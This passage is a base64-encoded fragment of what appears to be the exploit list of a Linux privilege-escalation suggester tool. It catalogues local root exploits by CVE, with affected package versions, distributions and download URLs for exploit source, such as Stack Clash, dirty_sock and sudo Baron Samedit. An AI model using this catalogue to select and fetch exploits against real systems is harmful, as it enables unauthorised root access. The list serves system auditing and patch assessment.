zogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL1RvbWNhdC1EZWJQa2dzLVJvb3QtUHJpdmlsZWdlLUVzY2FsYXRpb24tRXhwbG9pdC1DVkUtMjAxNi0xMjQwLmh0bWwKc3JjLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvdG9tY2F0LXJvb3Rwcml2ZXNjLWRlYi5zaApleHBsb2l0LWRiOiA0MDQ1MAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBBZmZlY3RzIG9ubHkgRGViaWFuLWJhc2VkIGRpc3Ryb3MKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMTI0N10ke3R4dHJzdH0gbmdpbnhlZC1yb290LnNoClJlcXM6IHBrZz1uZ2lueHxuZ2lueC1mdWxsLHZlcjwxLjEwLjMKVGFnczogZGViaWFuPTgsdWJ1bnR1PTE0LjA0fDE2LjA0fDE2LjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9OZ2lueC1FeHBsb2l0LURlYi1Sb290LVByaXZFc2MtQ1ZFLTIwMTYtMTI0Ny5odG1sCnNyYy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi0xMjQ3L25naW54ZWQtcm9vdC5zaApleHBsb2l0LWRiOiA0MDc2OAphdXRob3I6IERhd2lkIEdvbHVuc2tpCkNvbW1lbnRzOiBSb290aW5nIGRlcGVuZHMgb24gY3Jvbi5kYWlseSAodXAgdG8gMjRoIG9mIGRlbGF5KS4gQWZmZWN0ZWQ6IGRlYjg6IDwxLjYuMjsgMTQuMDQ6IDwxLjQuNjsgMTYuMDQ6IDEuMTAuMDsgZ2VudG9vOiA8MS4xMC4yLXIzCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE2LTE1MzFdJHt0eHRyc3R9IHBlcmxfc3RhcnR1cCAoZXhpbSkKUmVxczogcGtnPWV4aW0sdmVyPDQuODYuMgpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuZXhpbS5vcmcvc3RhdGljL2RvYy9DVkUtMjAxNi0xNTMxLnR4dApleHBsb2l0LWRiOiAzOTU0OQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0xNTMxXSR7dHh0cnN0fSBwZXJsX3N0YXJ0dXAgKGV4aW0pIDIKUmVxczogcGtnPWV4aW0sdmVyPDQuODYuMgpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuZXhpbS5vcmcvc3RhdGljL2RvYy9DVkUtMjAxNi0xNTMxLnR4dApleHBsb2l0LWRiOiAzOTUzNQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi00OTg5XSR7dHh0cnN0fSBzZXRyb3VibGVzaG9vdCAyClJlcXM6IHBrZz1zZXRyb3VibGVzaG9vdApUYWdzOiBSSEVMPTZ8NwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9jLXNraWxscy5ibG9nc3BvdC5jb20vMjAxNi8wNi9sZXRzLWZlZWQtYXR0YWNrZXItaW5wdXQtdG8tc2gtYy10by1zZWUuaHRtbApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vc3RlYWx0aC90cm91Ymxlc2hvb3Rlci9yYXcvbWFzdGVyL3N0cmFpZ2h0LXNob290ZXIuYwpleHBsb2l0LWRiOgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi01NDI1XSR7dHh0cnN0fSB0b21jYXQtUkgtcm9vdC5zaApSZXFzOiBwa2c9dG9tY2F0ClRhZ3M6IFJIRUw9NwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2xlZ2FsaGFja2Vycy5jb20vYWR2aXNvcmllcy9Ub21jYXQtUmVkSGF0LVBrZ3MtUm9vdC1Qcml2RXNjLUV4cGxvaXQtQ1ZFLTIwMTYtNTQyNS5odG1sCnNyYy11cmw6IGh0dHA6Ly9sZWdhbGhhY2tlcnMuY29tL2V4cGxvaXRzL3RvbWNhdC1SSC1yb290LnNoCmV4cGxvaXQtZGI6IDQwNDg4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFmZmVjdHMgb25seSBSZWRIYXQtYmFzZWQgZGlzdHJvcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi02NjYzLENWRS0yMDE2LTY2NjR8Q1ZFLTIwMTYtNjY2Ml0ke3R4dHJzdH0gbXlzcWwtZXhwbG9pdC1jaGFpbgpSZXFzOiBwa2c9bXlzcWwtc2VydmVyfG1hcmlhZGItc2VydmVyLHZlcjw1LjUuNTIKVGFnczogdWJ1bnR1PTE2LjA0LjEKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vbGVnYWxoYWNrZXJzLmNvbS9hZHZpc29yaWVzL015U1FMLU1hcmlhLVBlcmNvbmEtUHJpdkVzY1JhY2UtQ1ZFLTIwMTYtNjY2My01NjE2LUV4cGxvaXQuaHRtbApzcmMtdXJsOiBodHRwOi8vbGVnYWxoYWNrZXJzLmNvbS9leHBsb2l0cy9DVkUtMjAxNi02NjYzL215c3FsLXByaXZlc2MtcmFjZS5jCmV4cGxvaXQtZGI6IDQwNjc4CmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFsc28gTWFyaWFEQiB2ZXI8MTAuMS4xOCBhbmQgdmVyPDEwLjAuMjggYWZmZWN0ZWQKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtOTU2Nl0ke3R4dHJzdH0gbmFnaW9zLXJvb3QtcHJpdmVzYwpSZXFzOiBwa2c9bmFnaW9zLHZlcjw0LjIuNApUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9sZWdhbGhhY2tlcnMuY29tL2Fkdmlzb3JpZXMvTmFnaW9zLUV4cGxvaXQtUm9vdC1Qcml2RXNjLUNWRS0yMDE2LTk1NjYuaHRtbApzcmMtdXJsOiBodHRwczovL2xlZ2FsaGFja2Vycy5jb20vZXhwbG9pdHMvQ1ZFLTIwMTYtOTU2Ni9uYWdpb3Mtcm9vdC1wcml2ZXNjLnNoCmV4cGxvaXQtZGI6IDQwOTIxCmF1dGhvcjogRGF3aWQgR29sdW5za2kKQ29tbWVudHM6IEFsbG93cyBwcml2IGVzY2FsYXRpb24gZnJvbSBuYWdpb3MgdXNlciBvciBuYWdpb3MgZ3JvdXAKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMDM1OF0ke3R4dHJzdH0gbnRmcy0zZy1tb2Rwcm9iZQpSZXFzOiBwa2c9bnRmcy0zZyx2ZXI8MjAxNy40ClRhZ3M6IHVidW50dT0xNi4wNHtudGZzLTNnOjIwMTUuMy4xNEFSLjEtMWJ1aWxkMX0sZGViaWFuPTcuMHtudGZzLTNnOjIwMTIuMS4xNUFSLjUtMi4xK2RlYjd1Mn0sZGViaWFuPTguMHtudGZzLTNnOjIwMTQuMi4xNUFSLjItMStkZWI4dTJ9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2J1Z3MuY2hyb21pdW0ub3JnL3AvcHJvamVjdC16ZXJvL2lzc3Vlcy9kZXRhaWw/aWQ9MTA3MgpzcmMtdXJsOiBodHRwczovL2dpdGxhYi5jb20vZXhwbG9pdC1kYXRhYmFzZS9leHBsb2l0ZGItYmluLXNwbG9pdHMvLS9yYXcvbWFpbi9iaW4tc3Bsb2l0cy80MTM1Ni56aXAKZXhwbG9pdC1kYjogNDEzNTYKYXV0aG9yOiBKYW5uIEhvcm4KQ29tbWVudHM6IERpc3Ryb3MgdXNlIG93biB2ZXJzaW9uaW5nIHNjaGVtZS4gTWFudWFsIHZlcmlmaWNhdGlvbiBuZWVkZWQuIExpbnV4IGhlYWRlcnMgbXVzdCBiZSBpbnN0YWxsZWQuIFN5c3RlbSBtdXN0IGhhdmUgYXQgbGVhc3QgdHdvIENQVSBjb3Jlcy4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctNTg5OV0ke3R4dHJzdH0gcy1uYWlsLXByaXZnZXQKUmVxczogcGtnPXMtbmFpbCx2ZXI8MTQuOC4xNgpUYWdzOiB1YnVudHU9MTYuMDQsbWFuamFybz0xNi4xMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI3LzcKc3JjLXVybDogaHR0cHM6Ly93d3cub3BlbndhbGwuY29tL2xpc3RzL29zcy1zZWN1cml0eS8yMDE3LzAxLzI3LzcvMQpleHQtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNy01ODk5L2V4cGxvaXQuc2gKYXV0aG9yOiB3YXBpZmxhcGkgKG9yZ2luYWwgZXhwbG9pdCBhdXRob3IpOyBCcmVuZGFuIENvbGVzIChhdXRob3Igb2YgZXhwbG9pdCB1cGRhdGUgYXQgJ2V4dC11cmwnKQpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2N10ke3R4dHJzdH0gU3Vkb2VyLXRvLXJvb3QKUmVxczogcGtnPXN1ZG8sdmVyPD0xLjguMjAsY21kOlsgLWYgL3Vzci9zYmluL2dldGVuZm9yY2UgXQpUYWdzOiBSSEVMPTd7c3VkbzoxLjguNnA3fQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc3Vkby53cy9hbGVydHMvbGludXhfdHR5Lmh0bWwKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA1LzMwL2N2ZS0yMDE3LTEwMDAzNjcvbGludXhfc3Vkb19jdmUtMjAxNy0xMDAwMzY3LmMKZXhwbG9pdC1kYjogNDIxODMKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IE5lZWRzIHRvIGJlIHN1ZG9lci4gV29ya3Mgb25seSBvbiBTRUxpbnV4IGVuYWJsZWQgc3lzdGVtcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzY3XSR7dHh0cnN0fSBzdWRvcHduClJlcXM6IHBrZz1zdWRvLHZlcjw9MS44LjIwLGNtZDpbIC1mIC91c3Ivc2Jpbi9nZXRlbmZvcmNlIF0KVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnN1ZG8ud3MvYWxlcnRzL2xpbnV4X3R0eS5odG1sCnNyYy11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jMGQzejNyMC9zdWRvLUNWRS0yMDE3LTEwMDAzNjcvbWFzdGVyL3N1ZG9wd24uYwpleHBsb2l0LWRiOgphdXRob3I6IGMwZDN6M3IwCkNvbW1lbnRzOiBOZWVkcyB0byBiZSBzdWRvZXIuIFdvcmtzIG9ubHkgb24gU0VMaW51eCBlbmFibGVkIHN5c3RlbXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzcwXSR7dHh0cnN0fSBsaW51eF9sZHNvX2h3Y2FwClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2ClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTcvMDYvMTkvc3RhY2stY2xhc2gvc3RhY2stY2xhc2gudHh0CnNyYy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9saW51eF9sZHNvX2h3Y2FwLmMKZXhwbG9pdC1kYjogNDIyNzQKYXV0aG9yOiBRdWFseXMKQ29tbWVudHM6IFVzZXMgIlN0YWNrIENsYXNoIiB0ZWNobmlxdWUsIHdvcmtzIGFnYWluc3QgbW9zdCBTVUlELXJvb3QgYmluYXJpZXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzcxXSR7dHh0cnN0fSBsaW51eF9sZHNvX2R5bmFtaWMKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczogZGViaWFuPTl8MTAsdWJ1bnR1PTE0LjA0LjV8MTYuMDQuMnwxNy4wNCxmZWRvcmE9MjN8MjR8MjUKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29fZHluYW1pYy5jCmV4cGxvaXQtZGI6IDQyMjc2CmF1dGhvcjogUXVhbHlzCkNvbW1lbnRzOiBVc2VzICJTdGFjayBDbGFzaCIgdGVjaG5pcXVlLCB3b3JrcyBhZ2FpbnN0IG1vc3QgU1VJRC1yb290IFBJRXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTctMTAwMDM2NixDVkUtMjAxNy0xMDAwMzc5XSR7dHh0cnN0fSBsaW51eF9sZHNvX2h3Y2FwXzY0ClJlcXM6IHBrZz1nbGliY3xsaWJjNix2ZXI8PTIuMjUseDg2XzY0ClRhZ3M6IGRlYmlhbj03Ljd8OC41fDkuMCx1YnVudHU9MTQuMDQuMnwxNi4wNC4yfDE3LjA0LGZlZG9yYT0yMnwyNSxjZW50b3M9Ny4zLjE2MTEKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X2xkc29faHdjYXBfNjQuYwpleHBsb2l0LWRiOiA0MjI3NQphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZSwgd29ya3MgYWdhaW5zdCBtb3N0IFNVSUQtcm9vdCBiaW5hcmllcwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy0xMDAwMzcwLENWRS0yMDE3LTEwMDAzNzFdJHt0eHRyc3R9IGxpbnV4X29mZnNldDJsaWIKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjw9Mi4yNSx4ODYKVGFnczoKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAxNy8wNi8xOS9zdGFjay1jbGFzaC9zdGFjay1jbGFzaC50eHQKc3JjLXVybDogaHR0cHM6Ly93d3cucXVhbHlzLmNvbS8yMDE3LzA2LzE5L3N0YWNrLWNsYXNoL2xpbnV4X29mZnNldDJsaWIuYwpleHBsb2l0LWRiOiA0MjI3MwphdXRob3I6IFF1YWx5cwpDb21tZW50czogVXNlcyAiU3RhY2sgQ2xhc2giIHRlY2huaXF1ZQpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xMDAwMDAxXSR7dHh0cnN0fSBSYXRpb25hbExvdmUKUmVxczogcGtnPWdsaWJjfGxpYmM2LHZlcjwyLjI3LENPTkZJR19VU0VSX05TPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfdXNlcm5zX2Nsb25lPT0xLHg4Nl82NApUYWdzOiBkZWJpYW49OXtsaWJjNjoyLjI0LTExK2RlYjl1MX0sdWJ1bnR1PTE2LjA0LjN7bGliYzY6Mi4yMy0wdWJ1bnR1OX0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTcvTGliY1JlYWxwYXRoQnVmZmVyVW5kZXJmbG93LwpzcmMtdXJsOiBodHRwczovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE3L0xpYmNSZWFscGF0aEJ1ZmZlclVuZGVyZmxvdy9SYXRpb25hbExvdmUuYwpDb21tZW50czoga2VybmVsLnVucHJpdmlsZWdlZF91c2VybnNfY2xvbmU9MSByZXF1aXJlZApiaW4tdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vcmFwaWQ3L21ldGFzcGxvaXQtZnJhbWV3b3JrL21hc3Rlci9kYXRhL2V4cGxvaXRzL2N2ZS0yMDE4LTEwMDAwMDEvUmF0aW9uYWxMb3ZlCmV4cGxvaXQtZGI6IDQzNzc1CmF1dGhvcjogaGFsZmRvZwpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xMDkwMF0ke3R4dHJzdH0gdnBuY19wcml2ZXNjLnB5ClJlcXM6IHBrZz1uZXR3b3JrbWFuYWdlci12cG5jfG5ldHdvcmstbWFuYWdlci12cG5jLHZlcjwxLjIuNgpUYWdzOiB1YnVudHU9MTYuMDR7bmV0d29yay1tYW5hZ2VyLXZwbmM6MS4xLjkzLTF9LGRlYmlhbj05LjB7bmV0d29yay1tYW5hZ2VyLXZwbmM6MS4yLjQtNH0sbWFuamFybz0xNwpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9wdWxzZXNlY3VyaXR5LmNvLm56L2Fkdmlzb3JpZXMvTk0tVlBOQy1Qcml2ZXNjCnNyYy11cmw6IGh0dHBzOi8vYnVnemlsbGEubm92ZWxsLmNvbS9hdHRhY2htZW50LmNnaT9pZD03NzkxMTAKZXhwbG9pdC1kYjogNDUzMTMKYXV0aG9yOiBEZW5pcyBBbmR6YWtvdmljCkNvbW1lbnRzOiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOC0xNDY2NV0ke3R4dHJzdH0gcmFwdG9yX3hvcmd5ClJlcXM6IHBrZz14b3JnLXgxMS1zZXJ2ZXItWG9yZyxjbWQ6WyAtdSAvdXNyL2Jpbi9Yb3JnIF0KVGFnczogY2VudG9zPTcuNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuc2VjdXJlcGF0dGVybnMuY29tLzIwMTgvMTAvY3ZlLTIwMTgtMTQ2NjUteG9yZy14LXNlcnZlci5odG1sCmV4cGxvaXQtZGI6IDQ1OTIyCmF1dGhvcjogcmFwdG9yCkNvbW1lbnRzOiBYLk9yZyBTZXJ2ZXIgYmVmb3JlIDEuMjAuMyBpcyB2dWxuZXJhYmxlLiBEaXN0cm9zIHVzZSBvd24gdmVyc2lvbmluZyBzY2hlbWUuIE1hbnVhbCB2ZXJpZmljYXRpb24gbmVlZGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS03MzA0XSR7dHh0cnN0fSBkaXJ0eV9zb2NrClJlcXM6IHBrZz1zbmFwZCx2ZXI8Mi4zNyxjbWQ6WyAtUyAvcnVuL3NuYXBkLnNvY2tldCBdClRhZ3M6IHVidW50dT0xOC4xMCxtaW50PTE5ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2luaXRibG9nLmNvbS8yMDE5L2RpcnR5LXNvY2svCmV4cGxvaXQtZGI6IDQ2MzYxCmV4cGxvaXQtZGI6IDQ2MzYyCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5nL2RpcnR5X3NvY2svYXJjaGl2ZS9tYXN0ZXIuemlwCmF1dGhvcjogSW5pdFN0cmluZwpDb21tZW50czogRGlzdHJvcyB1c2Ugb3duIHZlcnNpb25pbmcgc2NoZW1lLiBNYW51YWwgdmVyaWZpY2F0aW9uIG5lZWRlZC4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTAxNDldJHt0eHRyc3R9IHJhcHRvcl9leGltX3dpegpSZXFzOiBwa2c9ZXhpbXxleGltNCx2ZXI+PTQuODcsdmVyPD00LjkxClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMTkvMDYvMDUvY3ZlLTIwMTktMTAxNDkvcmV0dXJuLXdpemFyZC1yY2UtZXhpbS50eHQKZXhwbG9pdC1kYjogNDY5OTYKYXV0aG9yOiByYXB0b3IKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTIxODFdJHt0eHRyc3R9IFNlcnYtVSBGVFAgU2VydmVyClJlcXM6IGNtZDpbIC11IC91c3IvbG9jYWwvU2Vydi1VL1NlcnYtVSBdClRhZ3M6IGRlYmlhbj05ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL2Jsb2cudmFzdGFydC5kZXYvMjAxOS8wNi9jdmUtMjAxOS0xMjE4MS1zZXJ2LXUtZXhwbG9pdC13cml0ZXVwLmh0bWwKZXhwbG9pdC1kYjogNDcwMDkKc3JjLXVybDogaHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2d1eXdoYXRhZ3V5L0NWRS0yMDE5LTEyMTgxL21hc3Rlci9zZXJ2dS1wZS1jdmUtMjAxOS0xMjE4MS5jCmV4dC11cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9iY29sZXMvbG9jYWwtZXhwbG9pdHMvbWFzdGVyL0NWRS0yMDE5LTEyMTgxL1NVcm9vdAphdXRob3I6IEd1eSBMZXZpbiAob3JnaW5hbCBleHBsb2l0IGF1dGhvcik7IEJyZW5kYW4gQ29sZXMgKGF1dGhvciBvZiBleHBsb2l0IHVwZGF0ZSBhdCAnZXh0LXVybCcpCkNvbW1lbnRzOiBNb2RpZmllZCB2ZXJzaW9uIGF0ICdleHQtdXJsJyB1c2VzIGJhc2ggZXhlYyB0ZWNobmlxdWUsIHJhdGhlciB0aGFuIGNvbXBpbGluZyB3aXRoIGdjYy4KRU9GCikKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxOS0xODg2Ml0ke3R4dHJzdH0gR05VIE1haWx1dGlscyAyLjAgPD0gMy43IG1haWRhZyB1cmwgbG9jYWwgcm9vdCAoQ1ZFLTIwMTktMTg4NjIpClJlcXM6IGNtZDpbIC11IC91c3IvbG9jYWwvc2Jpbi9tYWlkYWcgXQpUYWdzOiAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lm1pa2UtZ3VhbHRpZXJpLmNvbS9wb3N0cy9maW5kaW5nLWEtZGVjYWRlLW9sZC1mbGF3LWluLWdudS1tYWlsdXRpbHMKZXh0LXVybDogaHR0cHM6Ly9naXRodWIuY29tL2Jjb2xlcy9sb2NhbC1leHBsb2l0cy9yYXcvbWFzdGVyL0NWRS0yMDE5LTE4ODYyL2V4cGxvaXQuY3Jvbi5zaApzcmMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vYmNvbGVzL2xvY2FsLWV4cGxvaXRzL3Jhdy9tYXN0ZXIvQ1ZFLTIwMTktMTg4NjIvZXhwbG9pdC5sZHByZWxvYWQuc2gKYXV0aG9yOiBiY29sZXMKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTktMTg2MzRdJHt0eHRyc3R9IHN1ZG8gcHdmZWVkYmFjawpSZXFzOiBwa2c9c3Vkbyx2ZXI8MS44LjMxClRhZ3M6IG1pbnQ9MTkKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vZHlsYW5rYXR6LmNvbS9BbmFseXNpcy1vZi1DVkUtMjAxOS0xODYzNC8Kc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL3NhbGVlbXJhc2hpZC9zdWRvLWN2ZS0yMDE5LTE4NjM0L3Jhdy9tYXN0ZXIvZXhwbG9pdC5jCmF1dGhvcjogc2FsZWVtcmFzaGlkCkNvbW1lbnRzOiBzdWRvIGNvbmZpZ3VyYXRpb24gcmVxdWlyZXMgcHdmZWVkYmFjayB0byBiZSBlbmFibGVkLgpFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMC05NDcwXSR7dHh0cnN0fSBXaW5nIEZUUCBTZXJ2ZXIgPD0gNi4yLjUgTFBFClJlcXM6IGNtZDpbIC14IC9ldGMvaW5pdC5kL3dmdHBzZXJ2ZXIgXQpUYWdzOiB1YnVudHU9MTgKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3Lmhvb3BlcmxhYnMueHl6L2Rpc2Nsb3N1cmVzL2N2ZS0yMDIwLTk0NzAucGhwCnNyYy11cmw6IGh0dHBzOi8vd3d3Lmhvb3BlcmxhYnMueHl6L2Rpc2Nsb3N1cmVzL2N2ZS0yMDIwLTk0NzAuc2gKZXhwbG9pdC1kYjogNDgxNTQKYXV0aG9yOiBDYXJ5IENvb3BlcgpDb21tZW50czogUmVxdWlyZXMgYW4gYWRtaW5pc3RyYXRvciB0byBsb2dpbiB2aWEgdGhlIHdlYiBpbnRlcmZhY2UuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTMxNTZdJHt0eHRyc3R9IHN1ZG8gQmFyb24gU2FtZWRpdApSZXFzOiBwa2c9c3Vkbyx2ZXI8MS45LjVwMgpUYWdzOiBtaW50PTE5LHVidW50dT0xOHwyMCwgZGViaWFuPTEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3d3dy5xdWFseXMuY29tLzIwMjEvMDEvMjYvY3ZlLTIwMjEtMzE1Ni9iYXJvbi1zYW1lZGl0LWhlYXAtYmFzZWQtb3ZlcmZsb3ctc3Vkby50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2JsYXN0eS9DVkUtMjAyMS0zMTU2L3ppcC9tYWluCmF1dGhvcjogYmxhc3R5CkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIxLTMxNTZdJHt0eHRyc3R9IHN1ZG8gQmFyb24gU2FtZWRpdCAyClJlcXM6IHBrZz1zdWRvLHZlcjwxLjkuNXAyClRhZ3M6IGNlbnRvcz02fDd8OCx1YnVudHU9MTR8MTZ8MTd8MTh8MTl